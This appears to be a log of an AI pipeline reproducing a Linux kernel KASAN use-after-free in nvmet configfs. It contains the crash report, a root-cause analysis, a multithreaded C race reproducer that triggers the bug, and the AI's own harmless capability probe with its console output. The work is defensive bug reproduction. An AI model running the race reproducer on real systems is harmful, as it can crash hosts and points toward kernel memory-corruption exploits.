8. When reproducing asynchronous kernel timeouts or warnings, always
   include a sufficient delay (using sleep or similar) after deleting
   or unregistering the device to allow the kernel's asynchronous
   timeout to trigger before program exit.


=== PHASE 1: CAPABILITY PROBING (GENERATION) ===
You MUST start by generating a simple 'probe' program first. This is a strict, non-negotiable requirement
to verify that the test environment has the necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).

Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when CapabilitiesVerified becomes true).

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: slab-use-after-free Read in nvmet_port_subsys_allow_link

==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff88801af304c8 by task syz.2.79/6124

CPU: 1 UID: 0 PID: 6124 Comm: syz.2.79 Not tainted syzkaller #0 PREEMPT_{RT,(full)} 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x420 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fcbe476e0d9
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fcbe29c6028 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007fcbe49f5fa0 RCX: 00007fcbe476e0d9
RDX: 0000200000000600 RSI: ffffffffffffff9c RDI: 00002000000005c0
RBP: 00007fcbe4805024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007fcbe49f6038 R14: 00007fcbe49f5fa0 R15: 00007fffa285bf38
 </TASK>

Allocated by task 6060:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x3da/0x6b0 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x408/0x620 fs/namei.c:5410
 filename_mkdirat+0x289/0x520 fs/namei.c:5443
 __do_sys_mkdirat fs/namei.c:5464 [inline]
 __se_sys_mkdirat+0x35/0x150 fs/namei.c:5461
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6127:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x6d0 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e9/0x6b0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_unlinkat fs/namei.c:5747 [inline]
 __se_sys_unlinkat+0x71/0x1a0 fs/namei.c:5740
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88801af30000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff88801af30000, ffff88801af31000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1af30
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x80000000000040(head|node=0|zone=1)
page_type: f5(slab)
raw: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2040(__GFP_IO|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 5585, tgid 5585 (syz-executor), ts 106684716313
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2591/0x2600 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x230/0x5c0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d8/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x334/0x690 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __do_kmalloc_node mm/slub.c:5336 [inline]
 __kmalloc_noprof+0x54c/0x780 mm/slub.c:5362
 _kmalloc_noprof include/linux/slab.h:992 [inline]
 tomoyo_realpath_from_path+0xef/0x640 security/tomoyo/realpath.c:251
 tomoyo_get_realpath security/tomoyo/file.c:151 [inline]
 tomoyo_path_perm+0x283/0x560 security/tomoyo/file.c:827
 security_inode_getattr+0x12b/0x310 security/security.c:1895
 vfs_getattr+0x23/0x70 fs/stat.c:259
 vfs_statx_path+0x2b/0x230 fs/stat.c:299
 vfs_statx+0x12e/0x200 fs/stat.c:356
 vfs_fstatat+0x11b/0x170 fs/stat.c:373
 __do_sys_newfstatat fs/stat.c:538 [inline]
 __se_sys_newfstatat fs/stat.c:532 [inline]
 __x64_sys_newfstatat+0x151/0x200 fs/stat.c:532
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
page last free pid 5783 tgid 5783 ts 106512362313 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_frozen_pages+0xf8e/0x1070 mm/page_alloc.c:2962
 __slab_free+0x252/0x2a0 mm/slub.c:5736
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x99/0x100 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x148/0x160 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x22/0x80 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4586 [inline]
 slab_alloc_node mm/slub.c:4919 [inline]
 kmem_cache_alloc_noprof+0x35d/0x660 mm/slub.c:4933
 alloc_filename fs/namei.c:147 [inline]
 do_getname+0x2e/0x250 fs/namei.c:187
 class_filename_flags_constructor include/linux/fs.h:2587 [inline]
 do_sys_openat2+0xcc/0x200 fs/open.c:1416
 do_sys_open fs/open.c:1423 [inline]
 __do_sys_openat fs/open.c:1439 [inline]
 __se_sys_openat fs/open.c:1434 [inline]
 __x64_sys_openat+0x138/0x170 fs/open.c:1434
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff88801af30380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801af30480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff88801af30500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================

Strategy: ### Bug Analysis

The bug is a classic lifetime mismatch involving `configfs` default groups and their parent object.

1. **The Race Window**: `configfs_symlink` is called to create a symlink in a default group directory, specifically `/sys/kernel/config/nvmet/ports/1/subsystems/`. It looks up the parent directory (`subsystems`) and takes a reference to its `config_item` (`port->subsys_group.cg_item`). It then drops the directory inode lock and calls `get_target()` to resolve the symlink target path.
2. **Concurrent Removal**: While `configfs_symlink` is resolving the path, a concurrent `rmdir` is executed on the parent port directory (`ports/1`). `configfs_rmdir` detaches the port directory and its default groups.
3. **Premature Free**: `configfs_rmdir` calls `unlink_obj` on the default groups. `unlink_obj` drops the reference to the parent group (`port->group`), causing the port's refcount to reach 0. This triggers `nvmet_port_release`, which frees the `struct nvmet_port` memory.
4. **Use-After-Free**: `configfs_symlink` resumes, reacquires the lock, and calls `nvmet_port_subsys_allow_link`. This function accesses `parent->ci_parent`. Since `parent` is embedded in the freed `struct nvmet_port` (at offset 1176), reading `ci_parent` (at offset 48 within `cg_item`) results in a use-after-free read at offset 1224 (0x4c8), perfectly matching the KASAN report.

### Reproduction Strategy

To reproduce this bug, we can set up a tight race loop between two operations:
1. Thread A continuously attempts to create a symlink in the `subsystems` directory of a port.
2. Thread B continuously creates and removes the parent `ports/1` directory.

The race window inside `configfs_symlink` (during `get_target()`) is wide enough that a simple tight loop across multiple threads will reliably trigger the use-after-free within a few seconds.

As noted in the feedback, `nvmet_ports_make` requires the port name to be a valid 16-bit unsigned integer. We will use `1` as the port directory name to ensure `mkdir` succeeds.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Attempt to create the symlink. If successful, unlink it immediately 
        // so that subsequent rmdir calls don't fail with -ENOTEMPTY.
        if (syscall(SYS_symlinkat, "../../../subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        // Continuously create and remove the port directory to race with symlink creation.
        // The port name must be a valid 16-bit unsigned integer (e.g., "1").
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    // Ensure configfs is mounted and nvmet is loaded
    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe nvmet 2>/dev/null");
    
    // Setup the base nvmet configfs structure
    mkdir("/sys/kernel/config/nvmet", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems", 0777);
    mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777);
    mkdir("/sys/kernel/config/nvmet/ports", 0777);

    pthread_t t1[4], t2[4];
    
    // Launch multiple threads to maximize race probability
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    // Run the race for 5 seconds
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    return 0;
}
```


Previous Reproducer Attempt:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mount.h>

int main(void) {
    struct stat st;
    
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/ports/probe_port", 0777) < 0) {
        printf("[-] Failed to create probe_port: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created probe_port successfully.\n");

    if (rmdir("/sys/kernel/config/nvmet/ports/probe_port") < 0) {
        printf("[-] Failed to remove probe_port: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Removed probe_port successfully.\n");

    return 0;
}



Execution Results & Debugging Feedback:
The probe failed because `mkdir` on `/sys/kernel/config/nvmet/ports/probe_port` returned `EINVAL`. This happens because `nvmet_ports_make` requires the port name to be a valid 16-bit unsigned integer (it uses `kstrtou16(name, 0, &portid)`). Please use a numeric name like `1` for the port directory instead of `probe_port`. Once you fix this, you can proceed to create the subsystem and symlink to reproduce the race condition between `rmdir` of the port and `symlink` in its `subsystems` directory.

172/4 2026/08/26 18:23 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 9255
							output: 479
							thoughts: 1614
						

Thoughts:
**My Thought Process for Generating the Initial Probe Program**

My primary objective right now is to create a minimal C program that will serve as a "probe." This probe's sole purpose is to verify that the test environment is correctly set up and has the necessary kernel capabilities and permissions to proceed with more complex bug reproduction later. The specific bug I'm targeting is a KASAN slab-use-after-free in the `nvmet_port_subsys_allow_link` function, but I absolutely *must not* attempt to trigger this bug in this initial stage.

I've reviewed the previous reproducer attempt and its execution results. The key takeaway from the failure is that the `mkdir` operation on `/sys/kernel/config/nvmet/ports/probe_port` returned `EINVAL`. The feedback clearly states why: the `nvmet_ports_make` function expects the port name to be a valid 16-bit unsigned integer, and "probe_port" is not. The suggestion is to use a numeric name like "1".

Crucially, the instructions are very explicit: "You MUST start by generating a simple 'probe' program first... Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version... You must wait until a successful probe run has been confirmed in the environment (i.e., when CapabilitiesVerified becomes true)." Since the previous probe *failed* (meaning `CapabilitiesVerified` is definitely *not* true yet), my current task is to fix that probe.

Therefore, my immediate next step is to generate a corrected probe program that addresses the `EINVAL` error by using a numeric port name. I've written the following C code, incorporating the fix:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mount.h>

int main(void) {
    struct stat st;

    // Ensure /sys/kernel/config exists and is mounted as configfs
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
            return 1; // Indicate failure if creation fails and isn't due to existence
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) { // EBUSY is acceptable if it's already mounted
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    // Verify the nvmet subsystem is present
    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    // Create and immediately remove a port with a numeric name (e.g., "1")
    // This is the core part of the fix for the probe failure.
    if (mkdir("/sys/kernel/config/nvmet/ports/1", 0777) < 0) {
        printf("[-] Failed to create port 1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created port 1 successfully.\n");

    if (rmdir("/sys/kernel/config/nvmet/ports/1") < 0) {
        printf("[-] Failed to remove port 1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Removed port 1 successfully.\n");

    return 0; // Success
}
```

I've double-checked that this code strictly adheres to the probe requirements. It doesn't attempt any complex logic or try to trigger the actual bug. It simply verifies the environment by attempting to create and remove a valid port directory. The feedback about fixing the subsystem and symlink to reproduce the race condition is noted, but that comes *after* a successful probe. Since the previous probe failed, I am still firmly in the "fix the probe" phase.

To formalize this, I will use the `set-results` tool to output this corrected probe program, marking it as `IsProbe: true`.


173/4 2026/08/26 18:23 tool set-results
0m Args:
map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mount.h>

int main(void) {
    struct stat st;
    
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/ports/1", 0777) < 0) {
        printf("[-] Failed to create port 1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created port 1 successfully.\n");

    if (rmdir("/sys/kernel/config/nvmet/ports/1") < 0) {
        printf("[-] Failed to remove port 1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Removed port 1 successfully.\n");

    return 0;
}
]

Results:
map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mount.h>

int main(void) {
    struct stat st;
    
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/ports/1", 0777) < 0) {
        printf("[-] Failed to create port 1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created port 1 successfully.\n");

    if (rmdir("/sys/kernel/config/nvmet/ports/1") < 0) {
        printf("[-] Failed to remove port 1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Removed port 1 successfully.\n");

    return 0;
}
]

174/3 2026/08/26 18:23 loop
0m
175/4 2026/08/26 18:23 iteration 0
0m
176/5 2026/08/26 18:23 action merge-repro-c
0m Results:
map[CurrentCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mount.h>

int main(void) {
    struct stat st;
    
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/ports/1", 0777) < 0) {
        printf("[-] Failed to create port 1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created port 1 successfully.\n");

    if (rmdir("/sys/kernel/config/nvmet/ports/1") < 0) {
        printf("[-] Failed to remove port 1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Removed port 1 successfully.\n");

    return 0;
}
]

177/5 2026/08/26 18:23 action compile-c-prog
0m Results:
map[CompilerError: FormattedReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mount.h>

int main(void) {
    struct stat st;
    
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/ports/1", 0777) < 0) {
        printf("[-] Failed to create port 1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created port 1 successfully.\n");

    if (rmdir("/sys/kernel/config/nvmet/ports/1") < 0) {
        printf("[-] Failed to remove port 1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Removed port 1 successfully.\n");

    return 0;
}
]

178/5 2026/08/26 18:23 action If
0m Args:
map[CompilerError:]

179/3 2026/08/26 18:23 action run-c-repro
3m Results:
map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:[   69.951605][   T32] kauditd_printk_skb: 10 callbacks suppressed
[   69.951618][   T32] audit: type=1400 audit(1787768709.685:201): avc:  denied  { transition } for  pid=5824 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.963772][   T32] audit: type=1400 audit(1787768709.685:202): avc:  denied  { noatsecure } for  pid=5824 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.976626][   T32] audit: type=1400 audit(1787768709.685:203): avc:  denied  { rlimitinh } for  pid=5824 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.988855][   T32] audit: type=1400 audit(1787768709.685:204): avc:  denied  { siginh } for  pid=5824 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   71.716252][ T1378] ieee802154 phy0 wpan0: encryption failed: -22
[   71.728317][ T1378] ieee802154 phy1 wpan1: encryption failed: -22
[   72.951108][   T32] audit: type=1400 audit(1787768712.685:205): avc:  denied  { write } for  pid=5832 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.999345][   T32] audit: type=1400 audit(1787768712.725:206): avc:  denied  { write } for  pid=5835 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:54596' (ED25519) to the list of known hosts.
[   73.491271][   T32] audit: type=1400 audit(1787768713.225:207): avc:  denied  { mounton } for  pid=5845 comm="syz-executor329" path="/sys/kernel/config" dev="configfs" ino=1098 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[+] configfs mounted or already busy.
[+] nvmet subsystem found.
[+] Created port 1 successfully.
[+] Removed port 1 successfully.
[   73.499308][   T32] audit: type=1400 audit(1787768713.225:208): avc:  denied  { mount } for  pid=5845 comm="syz-executor329" name="/" dev="configfs" ino=1098 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[   73.507567][   T32] audit: type=1400 audit(1787768713.225:209): avc:  denied  { search } for  pid=5845 comm="syz-executor329" name="/" dev="configfs" ino=1098 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   73.514857][   T32] audit: type=1400 audit(1787768713.225:210): avc:  denied  { search } for  pid=5845 comm="syz-executor329" name="/" dev="configfs" ino=1098 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.459277][   T32] kauditd_printk_skb: 21 callbacks suppressed
[   75.459288][   T32] audit: type=1400 audit(1787768715.185:232): avc:  denied  { write } for  pid=5876 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   75.499167][   T32] audit: type=1400 audit(1787768715.225:233): avc:  denied  { write } for  pid=5879 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   75.954006][   T32] audit: type=1400 audit(1787768715.685:234): avc:  denied  { write } for  pid=5882 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   75.992541][   T32] audit: type=1400 audit(1787768715.725:235): avc:  denied  { write } for  pid=5885 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   81.915103][   T24] cfg80211: failed to load regulatory.db
 OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1349200980

<...>
[   70.504494][   T32] kauditd_printk_skb: 10 callbacks suppressed
[   70.504503][   T32] audit: type=1400 audit(1787768800.295:201): avc:  denied  { transition } for  pid=5825 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.513724][   T32] audit: type=1400 audit(1787768800.295:202): avc:  denied  { noatsecure } for  pid=5825 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.520233][   T32] audit: type=1400 audit(1787768800.295:203): avc:  denied  { rlimitinh } for  pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.526048][   T32] audit: type=1400 audit(1787768800.295:204): avc:  denied  { siginh } for  pid=5825 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   71.670676][ T1378] ieee802154 phy0 wpan0: encryption failed: -22
[   71.674395][ T1378] ieee802154 phy1 wpan1: encryption failed: -22
[   73.454614][   T32] audit: type=1400 audit(1787768803.245:205): avc:  denied  { write } for  pid=5832 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   73.500933][   T32] audit: type=1400 audit(1787768803.285:206): avc:  denied  { write } for  pid=5835 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
